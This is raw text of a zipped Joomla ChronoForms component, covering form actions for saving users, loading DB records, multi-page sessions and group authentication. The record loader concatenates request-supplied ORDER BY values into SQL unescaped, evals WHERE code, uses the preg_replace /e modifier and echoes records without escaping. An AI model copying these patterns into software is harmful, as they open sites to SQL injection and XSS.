if(!isset($post_user_data['id']) || empty($post_user_data['id'])){ $user->set('id', 0); $user->set('usertype', 'deprecated'); //$user->set('groups', $defaultUserGroup); $date = JFactory::getDate(); $user->set('registerDate', $date->toMySQL()); }else{ $user->set('id', (int)$post_user_data['id']); if($noPassword === true){ $user->set('password', null); } } } // If there was an error with registration, set the message and display form if(!$user->save()){ /*JError::raiseWarning('', JText::_( $user->getError())); $this->register();*/ $this->events['fail'] = 1; $form->validation_errors[] = $user->getError(); $form->debug[] = "Couldn't save user, Joomla returned this error : ".$user->getError(); return false; }else{ $this->events['success'] = 1; } //store user data $user_data = (array)$user; $removes = array('params', '_params', 'guest', '_errorMsg', '_errors'); foreach($removes as $remove){ unset($user_data[$remove]); } $form->data['_PLUGINS_']['joomla_user_save'] = $user_data; //inject user data under the correct data path if(strlen(trim($params->get('user_data_path', ''))) > 0){ $form->data = $form->set_array_value($form->data, explode('.', trim($params->get('user_data_path', ''))), $user_data); } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'name' => '', 'username' => '', 'email' => '', 'password' => '', 'password2' => '', 'old_password' => '', 'user_id' => '', 'new_usertype' => '', 'new_usertype_field' => '', 'function' => 0, 'enable_old_password' => 0, 'user_data_path' => 'User', ); } return array('action_params' => $action_params); } } ?>PKs>\)7com_chronoforms/form_actions/joomla_user_save/.htaccessnuW+A Order allow,deny Deny from all PKs>\]戊Bcom_chronoforms/form_actions/joomla_user_save/joomla_user_save.ctpnuW+A
      Joomla User Create/Update
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'joomla_user_save_config_{n}'); ?> tabStart('fields'); ?> input('action_joomla_user_save_{n}_name_config', array('type' => 'text', 'label' => 'Name field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Name data')); ?> input('action_joomla_user_save_{n}_username_config', array('type' => 'text', 'label' => 'Username field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Username data')); ?> input('action_joomla_user_save_{n}_email_config', array('type' => 'text', 'label' => 'Email field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Email data')); ?> input('action_joomla_user_save_{n}_password_config', array('type' => 'text', 'label' => 'Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Password data')); ?> input('action_joomla_user_save_{n}_password2_config', array('type' => 'text', 'label' => 'Verify Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Verify Password data')); ?> input('action_joomla_user_save_{n}_old_password_config', array('type' => 'text', 'label' => 'Old Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Old Password data')); ?> input('action_joomla_user_save_{n}_user_id_config', array('type' => 'text', 'label' => 'User ID field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the user id, useful when updating users data by an admin or a different user.')); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_joomla_user_save_{n}_override_allow_user_registration_config', array('type' => 'select', 'label' => 'Override the Joomla Allow user registration', 'label_over' => true, 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Its advised that you disable the Joomla allow user registration setting and enable this one so that users are forced to register here.')); ?> setQuery($query); $options = array(); $groups = $database->loadObjectList(); foreach($groups as $group){ $options[$group->id] = $group->title; } ?> input('action_joomla_user_save_{n}_new_usertype_config', array('type' => 'select', 'label' => 'Usertype', 'options' => $options, 'size' => 6, 'multiple' => 'multiple', 'rule' => "split", 'splitter' => ",", 'smalldesc' => 'The new user type/group.')); ?> input('action_joomla_user_save_{n}_new_usertype_field_config', array('type' => 'text', 'label' => 'Usertype field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the group id of the new created users, the User Type field should be empty.')); ?> input('action_joomla_user_save_{n}_function_config', array('type' => 'select', 'label' => 'Function', 'options' => array(0 => 'Create/Update', 1 => 'Update Self'), 'smalldesc' => '"Create/Update will create or update any loaded user record, the "id" field should be present in the data array, "Update Self" will update the details of the logged ins user.')); ?> input('action_joomla_user_save_{n}_enable_old_password_config', array('type' => 'select', 'label' => 'Enable Old Password', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Enable Old password data check, useful for "Update Self" function only.')); ?> input('action_joomla_user_save_{n}_user_data_path_config', array('type' => 'text', 'label' => 'User Data Path', 'class' => 'medium_input', 'smalldesc' => 'The data path under which the saved user data will be present in the form->data array.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Assign your form field's names to the required fields names under the "Fields" tab.
      • Configure the settings under the "Settings" tab.
      • This action can be used by Admins to create/update users OR by users to update their own accounts.
      • In case of updating existing users (either by admins or end users), passing empty password fields will not overwrite the saved password.

      tabEnd(); ?>
      PKs>\ 8com_chronoforms/form_actions/joomla_user_save/index.htmlnuW+A PKs>\j8080Ncom_chronoforms/form_actions/db_multi_record_loader/db_multi_record_loader.phpnuW+A 0, 'notfound' => 0, 'nodata' => 0); var $group = array('id' => 'data_operations', 'title' => 'Data/DB Operations'); var $details = array('title' => 'DB Multi Record Loader', 'tooltip' => 'Load Database table records based on a request parameter value or a custom DB query.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $table_name = $params->get('table_name', ''); if(!empty($table_name) && (int)$params->get('load_data', 1) == 1){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $table_field = $params->get('dbfield', ''); if(trim($actiondata->content1)){ $where = " WHERE ".$this->_processWhere(trim($actiondata->content1), $form); }else if(!empty($table_field)){ //$where = " WHERE `".$params->get('dbfield', '')."` = '".$form->data[$params->get('request_param', '')]."'"; $req_param = $form->get_array_value($form->data, explode('.', $params->get('request_param', ''))); if(is_null($req_param)){ $req_param = ''; $where = " WHERE `".$table_field."` = '".$form->escapeVar($req_param)."'"; }else{ if(is_array($req_param) && !empty($req_param)){ $where = " WHERE `".$table_field."` IN ('".implode("','", $form->escapeVar($req_param))."')"; }else{ $where = " WHERE `".$table_field."` = '".$form->escapeVar($req_param)."'"; } } }else{ $where = ""; } //load the model_id $model_id_sub = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", $table_name); $model_id = $params->get('model_id', ''); if(empty($model_id)){ $model_id = $model_id_sub; } //check fields $fields = array(); if(trim($params->get('fields', ''))){ $fields_list = explode(",", trim($params->get('fields', ''))); foreach($fields_list as $field){ $fields[] = "`".$field."`"; } }else{ $fields = array("`".$model_id."`.*"); } //check the association $assoc = ''; $assoc_models = array(); $primaries = array(); if($params->get('enable_association', 0) == 1 && $params->get('load_data', 1) == 1){ if(trim($params->get('associated_models', ''))){ //add primary key for the main table $fields_list = $database->getTableFields(array(trim($params->get('table_name', ''))), false); $table_fields = $fields_list[trim($params->get('table_name', ''))]; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primaries[$model_id] = $table_field; } } //find associated models list $assoc_models = explode(',', $params->get('associated_models')); foreach($assoc_models as $k => $assoc_model){ $assoc_models[$k] = trim($assoc_model); } //find other multi record loaders $models_list = array(); $wheres_list = array(); foreach($form->form_actions as $form_action){ if($form_action->type == 'db_multi_record_loader'){ $action_params = new JParameter($form_action->params); if(trim($action_params->get('model_id', '')) && trim($action_params->get('table_name', ''))){ $models_list[trim($action_params->get('model_id', ''))] = array('table' => trim($action_params->get('table_name', ''))); $models_list[trim($action_params->get('model_id', ''))]['join_type'] = trim($action_params->get('join_type', 'INNER')); $models_list[trim($action_params->get('model_id', ''))]['join_rule'] = trim($action_params->get('join_rule', '')); if(in_array(trim($action_params->get('model_id', '')), $assoc_models)){ //find some table info (primary key) $fields_list = $database->getTableFields(array(trim($action_params->get('table_name', ''))), false); $table_fields = $fields_list[trim($action_params->get('table_name', ''))]; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primaries[trim($action_params->get('model_id', ''))] = $table_field; } } //get table fields list if(trim($action_params->get('fields', ''))){ $table_fields = explode(",", trim($action_params->get('fields', ''))); foreach($table_fields as $table_field){ $table_field = trim($table_field); $field_alias = "`".trim($action_params->get('model_id', '')).".".$table_field."`"; $field_name = "`".trim($action_params->get('model_id', ''))."`.`".$table_field."`"; $fields[] = $field_name." AS ".$field_alias; } }else{ foreach($table_fields as $table_field => $field_data){ $fields[] = "`".trim($action_params->get('model_id', ''))."`.`".$table_field."` AS `".trim($action_params->get('model_id', '')).".".$table_field."`"; } //$fields[] = "`".trim($action_params->get('model_id', ''))."`.*"; } //append any WHERE data if(trim($form_action->content1)){ if(!empty($where)){ //$where .= " AND ".$this->_processWhere($form_action->content1, $form); $wheres_list[trim($action_params->get('model_id', ''))] = " ON ".$this->_processWhere($form_action->content1, $form); }else{ $where = " WHERE ".$this->_processWhere($form_action->content1, $form); } } } } } } //build the JOIN statement foreach($assoc_models as $assoc_model){ if(isset($models_list[$assoc_model])){ $assoc .= " ".$models_list[$assoc_model]['join_type']." JOIN `".$models_list[$assoc_model]['table']."` AS `".$assoc_model."`"; if(strlen(trim($models_list[$assoc_model]['join_rule'])) > 0){ $assoc .= " ON ".$models_list[$assoc_model]['join_rule']; } if(isset($wheres_list[$assoc_model])){ $assoc .= $wheres_list[$assoc_model]; } } } } } //add the page navigation data if((bool)$params->get('enable_pagination', 0) === true && $params->get('load_type', 'all') == 'all'){ $option = 'com_chronoforms.db_multi_record_loader.'.$actiondata->id; $session = JFactory::getSession(); if(isset($form->data['limit'])){ $session->set($option.'.limit', (int)$form->data['limit'], md5('chrono')); } $limit = $mainframe->getUserStateFromRequest($option.'.limit', 'limit', $session->get($option.'.limit', (int)$params->get('pagination_limit', 50), md5('chrono')), 'int'); $limitstart = $mainframe->getUserStateFromRequest($option.'.limitstart', 'limitstart', 0, 'int'); $sql = "SELECT count(*) FROM `".$params->get('table_name', '')."` AS `".$model_id."`".$assoc.$where; $database->setQuery($sql); $total = $database->loadResult(); jimport('joomla.html.pagination'); $pageNav = new JPagination($total, $limitstart, $limit); //get current page url //load show_html action helper class $form->loadActionHelper('show_html'); $url = CfactionShowHtmlHelper::selfURL(); if($form->admin === false){ $form->paginatior_footer = '
      '; }else{ $form->paginatior_footer = ''; } $form->paginatior_footer .= $pageNav->getListFooter(); $form->paginatior_footer .= '
      '; //check order data $order = ''; if(isset($form->data['order'])){ $order = ' ORDER BY `'.trim($form->data['order']).'`'.(isset($form->data['direction']) ? ' '.$form->data['direction']: ' ASC'); } $fields = implode(", ", $fields); if((bool)$params->get('count', 0) === true){ $fields = 'count(*)'; } $sql = "SELECT ".$fields." FROM `".$params->get('table_name', '')."` AS `".$model_id."`".$assoc.$where.$order." LIMIT $pageNav->limitstart,$pageNav->limit"; }else{ $fields = implode(", ", $fields); if((bool)$params->get('count', 0) === true){ $fields = 'count(*)'; } $sql = "SELECT ".$fields." FROM `".$params->get('table_name', '')."` AS `".$model_id."`".$assoc.$where; } //echo $form->paginatior_footer; //add debug data $form->debug['db_multi_record_loader'][] = $sql; //run the sql and get the data $database->setQuery($sql); if($params->get('load_type', 'all') == 'first'){ $data = $database->loadAssoc(); }else{ $data = $database->loadAssocList(); } //process the data if association was enabled if(!empty($assoc_models) && !empty($data)){ if($params->get('load_type', 'all') == 'first'){ foreach($data as $k => $v){ if(strpos($k, '.')){ $details = explode('.', $k); if((bool)$params->get('group_model_data', 1) === true){ $data[$details[0]][$details[1]] = $v; }else{ $form->data[$details[0]][$details[1]] = $v; } unset($data[$k]); } } }else{ foreach($data as $datak => $datav){ if(is_array($datav)){ foreach($datav as $k => $v){ if(strpos($k, '.')){ $details = explode('.', $k); $data[$datak][$details[0]][$details[1]] = $v; unset($data[$datak][$k]); }/*else{ $data[$datak][$model_id][$k] = $v; unset($data[$datak][$k]); }*/ } } } if((int)$params->get('group_model_data', 1) == 1){ $data = $this->group_model_data($data, $model_id, $primaries); } } } //print_r2($data); //data must be loaded under some model id $form->data[$model_id] = $data; //check the result //$request_val = $form->data[$params->get('request_param', '')]; if(empty($data)){ $this->events['notfound'] = 1; }else{ $this->events['found'] = 1; } //print_r2($form->data); } } function group_model_data($data, $main_model_id, $primaries){ if(!empty($primaries)){ if(isset($primaries[$main_model_id])){ $primary = $primaries[$main_model_id]; unset($primaries[$main_model_id]); }else{ return $data; } $unique_values = array(); $new_data = array(); foreach($data as $datak => $datav){ if(is_array($datav)){ if(isset($datav[$primary])){ if(!isset($unique_values[$datav[$primary]])){ $unique_values[$datav[$primary]] = $datak; //$new_data[] = $datav; foreach($primaries as $model => $pr){ if(isset($datav[$model])){ $temp_model_data = $datav[$model]; unset($datav[$model]); $datav[$model][] = $temp_model_data; } } $new_data[$datak] = $datav; }else{ foreach($primaries as $model => $pr){ if(isset($datav[$model])){ $temp_model_data = $datav[$model]; unset($datav[$model]); $new_data[$unique_values[$datav[$primary]]][$model][] = $temp_model_data; } } } } } } foreach($primaries as $model => $pr){ foreach($new_data as $k => $v){ if(is_array($v) && isset($v[$model])){ $new_data[$k][$model] = $this->group_model_data($v[$model], $model, $primaries); } } } $data = $new_data; } return $data; } function _processWhere($code, $form){ ob_start(); eval("?>".$code); $code = ob_get_clean(); return $code; } function load($clear){ if($clear){ $action_params = array( 'dbfield' => '', 'table_name' => '', 'request_param' => '', 'load_data' => 1, 'model_id' => '', 'fields' => '', 'count' => 0, 'join_type' => 'INNER', 'join_rule' => '', 'load_type' => 'all', 'enable_association' => 0, 'associated_models' => '', 'group_model_data' => 1, 'pagination_limit' => '50', 'enable_pagination' => 0, 'data_display_fields' => '', 'enable_data_displayer' => 0, 'data_order_fields' => '', 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\gt22Ncom_chronoforms/form_actions/db_multi_record_loader/db_multi_record_loader.ctpnuW+A
      DB Multi Record Loader
      Header(array('basic' => 'Basic', 'advanced' => 'Advanced', 'displayer' => 'Data Displayer', 'help' => 'Help'), 'db_multi_record_loader_config_{n}'); ?> tabStart('basic'); ?> input('action_db_multi_record_loader_{n}_dbfield_config', array('type' => 'text', 'label' => "DB Field", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The field name which will be used to query the table record, if left empty then all records will be loaded.")); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_db_multi_record_loader_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The table name to load the data from.")); ?> input('action_db_multi_record_loader_{n}_request_param_config', array('type' => 'text', 'label' => "Request Param", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The param name which will exist in the request url to the form, its value will be used to load the target db records, if the value of this parameter is an array then the array values will be used inside 'IN' statement.")); ?> input('action_db_multi_record_loader_{n}_model_id_config', array('type' => 'text', 'label' => "Model ID", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The key under which the loaded record data will be stored in the form->data array.
      this is obligatory, if left empty then a camilized version of the table name will be used, e.g: jos_my_table = JosMyTable")); ?> input('action_db_multi_record_loader_{n}_fields_config', array('type' => 'text', 'label' => "Fields", 'class' => 'big_input', 'label_over' => true, 'smalldesc' => "List of comma separated fields names to load from this table (field_name1,field_name2..etc), leave empty to load all fields.")); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_db_multi_record_loader_{n}_load_data_config', array('type' => 'select', 'label' => 'Load Data', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Do you want to load the data of this model OR just use it in the models associations ?")); ?> input('action_db_multi_record_loader_{n}_load_type_config', array('type' => 'select', 'label' => 'Data Load Type', 'options' => array('all' => 'ALL', 'first' => 'First Record'), 'smalldesc' => "Which data to load ? All data (normal behavior) OR first record only (similar to the Record Loader Action).")); ?> input('action_db_multi_record_loader_{n}_enable_association_config', array('type' => 'select', 'label' => 'Enable Associations', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Do you want to enable the associations for this model ? this will allow you to load data from multiple tables and have them associated together.")); ?> input('action_db_multi_record_loader_{n}_join_type_config', array('type' => 'select', 'label' => 'JOIN Type', 'options' => array('INNER' => 'INNER', 'LEFT' => 'LEFT', 'RIGHT' => 'RIGHT'), 'smalldesc' => "The JOIN type used in case of an association.")); ?> input('action_db_multi_record_loader_{n}_join_rule_config', array('type' => 'text', 'label' => 'JOIN Rule', 'class' => 'big_input', 'smalldesc' => "The JOIN rule used in case of an association, example: MODEL_ID1.field1=MODEL_ID2.field2")); ?> input('action_db_multi_record_loader_{n}_associated_models_config', array('type' => 'text', 'label' => "Associated Models", 'class' => 'big_input', 'label_over' => true, 'smalldesc' => "list of models ids to associate this one with, comma separated, exactly as they are in other 'Multi DB Record Loader' configs.")); ?> input('action_db_multi_record_loader_{n}_group_model_data_config', array('type' => 'select', 'label' => 'Group Model Data', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "This will add a bit of overhead on the server, but will remove any duplicates from the results and will group any associated models data under the same item.")); ?> input('action_db_multi_record_loader_{n}_content1_config', array('type' => 'textarea', 'label' => 'WHERE statement', 'rows' => 10, 'cols' => 50, 'smalldesc' => "The code used for the WHERE statement, some notes:
      1 - leave empty to use the default request param with column name formula (associations not enabled), OR to load ALL records (associations enabled).
      2 - don't use the WHERE word.
      3 - in case of associations, pay attention to write the join rule, e.g: `User`.`id` = `Profile`.`user_id`
      4 - in case of associations, if other associated models have WHERE statements then all the WHERE data will be appended using AND.
      5 - You can use PHP code with tags. ")); ?> tabEnd(); ?> tabStart('displayer'); ?> input('action_db_multi_record_loader_{n}_enable_data_displayer_config', array('type' => 'select', 'label' => 'Enable Data Displayer', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Do you want to enable the generic data displayer ?")); ?> input('action_db_multi_record_loader_{n}_data_display_fields_config', array('type' => 'text', 'label' => "Display Fields", 'class' => 'big_input', 'smalldesc' => "Enter comma separated list of fields and titles in this format:
      field_name:Field_Title
      e.g:field1:Name,field2:Company")); ?> input('action_db_multi_record_loader_{n}_data_order_fields_config', array('type' => 'text', 'label' => "Order Fields", 'class' => 'big_input', 'smalldesc' => "Enter comma separated list of fields names to be sortable.")); ?> input('action_db_multi_record_loader_{n}_enable_pagination_config', array('type' => 'select', 'label' => 'Enable Pagination', 'options' => array(0 => 'No', 1 => 'Top', 2 => 'Bottom'), 'class' => 'medium_input', 'smalldesc' => "Do you want to enable the pagination feature for the records returned ? if so, where do you want it displayed ?")); ?> input('action_db_multi_record_loader_{n}_pagination_limit_config', array('type' => 'text', 'label' => "Limit", 'class' => 'small_input', 'smalldesc' => "The number of records per page.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select the table name to load the data from
      • Your table must have a primary key.
      • Please give your table a unique model id, e.g: jos_content can have "Article".
      • If you disable "Load Data" then no db query will run for this model, this is useful when you only need to create an association with another model loading the data.
      • If you enable the associations then your model will check for any associated models to load the data from.
      • Associated models should have a list of models connected to the current model somehow, these models should be loaded through similar actions in the same form event.
      • Grouping model data is useful when you have lots of duplicated records in the data returned, this is usually the case when you have 1 or more models associated.
      • You may enable data pagination under the pagination tab, please use this variable to show the pagination limit boxes or links:
        $form->paginatior_footer

      tabEnd(); ?>
      PKs>\c<0Wcom_chronoforms/form_actions/db_multi_record_loader/cfaction_db_multi_record_loader.ctpnuW+Aload($form, $actiondata); ?>PKs>\)=com_chronoforms/form_actions/db_multi_record_loader/.htaccessnuW+A Order allow,deny Deny from all PKs>\7澰Wcom_chronoforms/form_actions/db_multi_record_loader/cfaction_db_multi_record_loader.phpnuW+Aparams); $output = ''; if((bool)$params->get('enable_data_displayer', 0) === true && $params->get('load_type', 'all') == 'all'){ //find the model data $table_name = $params->get('table_name', ''); $model_id_sub = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", $table_name); $model_id = $params->get('model_id', ''); if(empty($model_id)){ $model_id = $model_id_sub; } //pre output creation $fields_names = array(); $fields_headings = array(); $order_fields = array(); //get order fields $order_str = trim($params->get('data_order_fields', '')); if(!empty($order_str)){ $order_fields = explode(",", trim($params->get('data_order_fields', ''))); } //get display fields $fields_data = trim($params->get('data_display_fields', '')); if(!empty($fields_data)){ $fields_data = explode(",", $fields_data); foreach($fields_data as $field_data){ $field_data = explode(":", trim($field_data)); $fields_names[] = $field_name = $field_data[0]; if(!isset($field_data[1])){ $field_data[1] = strtoupper($field_data[0]); } $fields_headings[] = $field_heading = $field_data[1]; } } //create the table code $output .= ''; $output .= ''; $output .= ''; $form->loadActionHelper('show_html'); $showHTMLHelper = new CfactionShowHtmlHelper(); foreach($fields_headings as $k => $field_heading){ if(in_array($fields_names[$k], $order_fields)){ $direction = 'asc'; if(isset($form->data['order']) && ($form->data['order'] == $fields_names[$k]) && isset($form->data['direction'])){ if($form->data['direction'] == 'asc'){ $direction = 'desc'; }else{ $direction = 'asc'; } } $class = ''; if(isset($form->data['order']) && ($form->data['order'] == $fields_names[$k])){ $class = ' direction_'.(isset($form->data['direction']) ? $form->data['direction']: 'asc'); } $field_heading = ''.$field_heading.''; }else{ $field_heading = $field_heading; } $output .= ''; } $output .= ''; $output .= ''; $output .= ''; $i = 0; if(!empty($form->data[$model_id])){ foreach($form->data[$model_id] as $r => $record){ $output .= ''; foreach($fields_names as $k => $field_name){ if(strpos($field_name, '.') !== false){ $record[$field_name] = $form->get_array_value($record, explode('.', $field_name)); } $output .= ''; } $output .= ''; $i = 1 - $i; } } $output .= ''; $output .= '
      '.$field_heading.'
      '.$record[$field_name].'
      '; } if((bool)$params->get('enable_pagination', 0) === true && isset($form->paginatior_footer)){ //check the position of the pagination if((int)$params->get('enable_pagination', 0) == 1){ $output = $form->paginatior_footer.$output; }else if((int)$params->get('enable_pagination', 0) == 2){ $output = $output.$form->paginatior_footer; } } //add CSS $this->_addCSS($form, $actiondata); //end echo $output; } function _addCSS($form, $actiondata){ $document = JFactory::getDocument(); //add some CSS formatting for pagination ob_start(); ?> .list-footer ul li { display: inline; } #db_multi_record_loader_id; ?> { width: 100%; margin: 0px 0px; } #db_multi_record_loader_id; ?> .cell { padding: 2px; } #db_multi_record_loader_id; ?> .cell { padding: 2px; } #db_multi_record_loader_id; ?> thead { background-color: #dedede; } addStyleDeclaration($script); } } ?>PKs>\ >com_chronoforms/form_actions/db_multi_record_loader/index.htmlnuW+A PKs>\g6com_chronoforms/form_actions/multi_page/multi_page.phpnuW+A 'Multi Page', 'tooltip' => 'Handles the data transactions between the different form pages.'); var $group = array('id' => 'form_utilities', 'title' => 'Utilities'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $session_key = $form->getSessionToken(); //Data to Session config $data_to_session_details = new stdClass(); $data_to_session_details->type = 'data_to_session'; $data_to_session_Params = new JParameter(''); $data_to_session_Params->set('merge', 1); if((bool)$params->get('session_key', 0) === true){ $data_to_session_Params->set('key', $session_key); } $data_to_session_details->params = $data_to_session_Params->toString(); $form->runAction($data_to_session_details); //Session to Data config $session_to_data_details = new stdClass(); $session_to_data_details->type = 'session_to_data'; $session_to_data_Params = new JParameter(''); if((bool)$params->get('session_key', 0) === true){ $session_to_data_Params->set('key', $session_key); } $session_to_data_details->params = $session_to_data_Params->toString(); $form->runAction($session_to_data_details); } function load($clear){ if($clear){ $action_params = array( 'show_navigation' => 0, 'session_key' => 0 ); } return array('action_params' => $action_params); } } ?>PKs>\S6com_chronoforms/form_actions/multi_page/multi_page.ctpnuW+A
      Multi Page
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'multi_page_config_{n}'); ?> tabStart('settings'); ?> input('action_multi_page_{n}_session_key_config', array('type' => 'select', 'label' => 'Unique Session Key', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Add a unique session key for every form instance, this is helpful if more than one form or more than one instance of the same form may be loaded together.

      *please note that if this parameter is enabled then you will have to include the session key in the form URL in case of a page navigation.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action should be added to the TOP of every event used in a different form page so that it can handle all the data transactions between the different pages.

      tabEnd(); ?>
      PKs>\ 2com_chronoforms/form_actions/multi_page/index.htmlnuW+A PKs>\)1com_chronoforms/form_actions/multi_page/.htaccessnuW+A Order allow,deny Deny from all PKs>\QZ^<com_chronoforms/form_actions/authenticator/authenticator.ctpnuW+A
      Authenticator
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'authenticator_config_{n}'); ?> tabStart('settings'); ?> RELEASE > 1.5){ $options = $action_params['groups_list']; }else{ $options = $action_params['groups_list']; //$options = array(18 => 'Registered users', 19 => 'Authors', 20 => 'Editors', 21 => 'Publishers', 23 => 'Managers', 24 => 'Administrators', 25 => 'Super Administrators'); } ?> input('action_authenticator_{n}_groups_config', array('type' => 'select', 'label' => 'Allowed groups', 'options' => $options, 'size' => 11, 'class' => 'medium_input', 'multiple' => 'multiple', 'rule' => "split", 'splitter' => ",", 'smalldesc' => 'Select the groups authorized.')); ?> input('action_authenticator_{n}_guests_config', array('type' => 'select', 'label' => 'Allow guests', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Guests are non logged in users, choose wheather you want to allow them access or not.")); ?> input('action_authenticator_{n}_inheritable_config', array('type' => 'select', 'label' => 'Inheritable Permissions', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Enable this if you want sub groups to inherit the access permissions of their parents.")); ?> input('action_authenticator_{n}_denied_groups_config', array('type' => 'select', 'label' => 'Denied groups', 'options' => $options, 'size' => 11, 'class' => 'medium_input', 'multiple' => 'multiple', 'rule' => "split", 'splitter' => ",", 'smalldesc' => 'Select the groups denied, this is useful only if you have the "Inheritable" option set to "Yes".')); ?> input('action_authenticator_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'any code can be placed here, any PHP code should include the PHP tags.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select which user groups should be allowed access.
      • Permissions are not inheritable by default, this means that if you need to allow both the "Public" group and the "Administrators" group then you need to select BOTH of them.
      • If the user's group is Allowed AND Denied then the authentication will fail leading to a denied.
      • Insert next form events in the "Allowed" event or insert "Show stopper" in the "Denied" event to halt the form.

      tabEnd(); ?>
      PKs>\hŌ9 9 <com_chronoforms/form_actions/authenticator/authenticator.phpnuW+A 0, 'denied' => 0); var $group = array('id' => 'form_security', 'title' => 'Security'); var $details = array('title' => 'Authenticator', 'tooltip' => "Control users access to your form's different events, select which users groups should be allowed access and which ones should be denied."); //var $users_groups = array(); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $user = JFactory::getUser(); //check guests $guest = $params->get('guests', 1); if($user->guest && $guest){ $this->events['allowed'] = 1; return true; } //check other groups $jversion = new JVersion(); if((bool)$params->get('inheritable', 0) === true){ //get users groups objects from the db $db_users_groups = $this->get_groups_list(); } if($jversion->RELEASE > 1.5){ if(trim($params->get('groups', '')) || trim($params->get('denied_groups', ''))){ if(trim($params->get('groups', ''))){ $_groups = explode(',', trim($params->get('groups', ''))); array_walk($_groups, 'trim'); }else{ $_groups = array(); } //if guest, then add the public group if((bool)$user->guest === true){ $user->groups[] = 1; } $user->groups = array_unique($user->groups); //check denied groups if there are any if(trim($params->get('denied_groups', ''))){ $d_groups = explode(',', trim($params->get('denied_groups', ''))); array_walk($d_groups, 'trim'); if(!empty($d_groups)){ $denied_groups = array(); foreach($d_groups as $d_group){ if((bool)$params->get('inheritable', 0) === true){ $group = $form->search_array($db_users_groups, array('key' => 'id', 'value' => $d_group)); if(!empty($group)){ $children = $this->get_child_path($group[0], $db_users_groups); $denied_groups = array_merge($denied_groups, $children); } }else{ $denied_groups[] = (int)$d_group; } } $denied_groups = array_unique($denied_groups); if($this->group_exists($user, $denied_groups) === true){ $this->events['denied'] = 1; return false; } } } $allowed_groups = array(); foreach($_groups as $_group){ if((bool)$params->get('inheritable', 0) === true){ $group = $form->search_array($db_users_groups, array('key' => 'id', 'value' => $_group)); if(!empty($group)){ $children = $this->get_child_path($group[0], $db_users_groups); $allowed_groups = array_merge($allowed_groups, $children); } }else{ $allowed_groups[] = (int)$_group; } } $allowed_groups = array_unique($allowed_groups); if($this->group_exists($user, $allowed_groups) === true){ $this->events['allowed'] = 1; return true; } } }else{ if(trim($params->get('groups', '')) || trim($params->get('denied_groups', ''))){ if(trim($params->get('groups', ''))){ $_groups = explode(',', trim($params->get('groups', ''))); array_walk($_groups, 'trim'); }else{ $_groups = array(); } //if guest, then add the public group if((bool)$user->guest === true){ $user->gid = 29; } //check denied groups if there are any if(trim($params->get('denied_groups', ''))){ $d_groups = explode(',', trim($params->get('denied_groups', ''))); array_walk($d_groups, 'trim'); if(!empty($d_groups)){ $denied_groups = array(); foreach($d_groups as $d_group){ if((bool)$params->get('inheritable', 0) === true){ $group = $form->search_array($db_users_groups, array('key' => 'id', 'value' => $d_group)); if(!empty($group)){ $children = $this->get_child_path($group[0], $db_users_groups); $denied_groups = array_merge($denied_groups, $children); } }else{ $denied_groups[] = (int)$d_group; } } $denied_groups = array_unique($denied_groups); if($this->group_exists($user, $denied_groups) === true){ $this->events['denied'] = 1; return false; } } } $allowed_groups = array(); foreach($_groups as $_group){ if((bool)$params->get('inheritable', 0) === true){ $group = $form->search_array($db_users_groups, array('key' => 'id', 'value' => $_group)); if(!empty($group)){ $children = $this->get_child_path($group[0], $db_users_groups); $allowed_groups = array_merge($allowed_groups, $children); } }else{ $allowed_groups[] = (int)$_group; } } $allowed_groups = array_unique($allowed_groups); if($this->group_exists($user, $allowed_groups) === true){ $this->events['allowed'] = 1; return true; } } } //user group not found, set denied = 1 $this->events['denied'] = 1; return null; } function load($clear){ if($clear){ $action_params = array( 'guests' => 1, 'content1' => '', 'groups' => '', 'denied_groups' => '', 'inheritable' => 0, 'groups_list' => $this->get_goptions_list($this->get_groups_list()) ); } 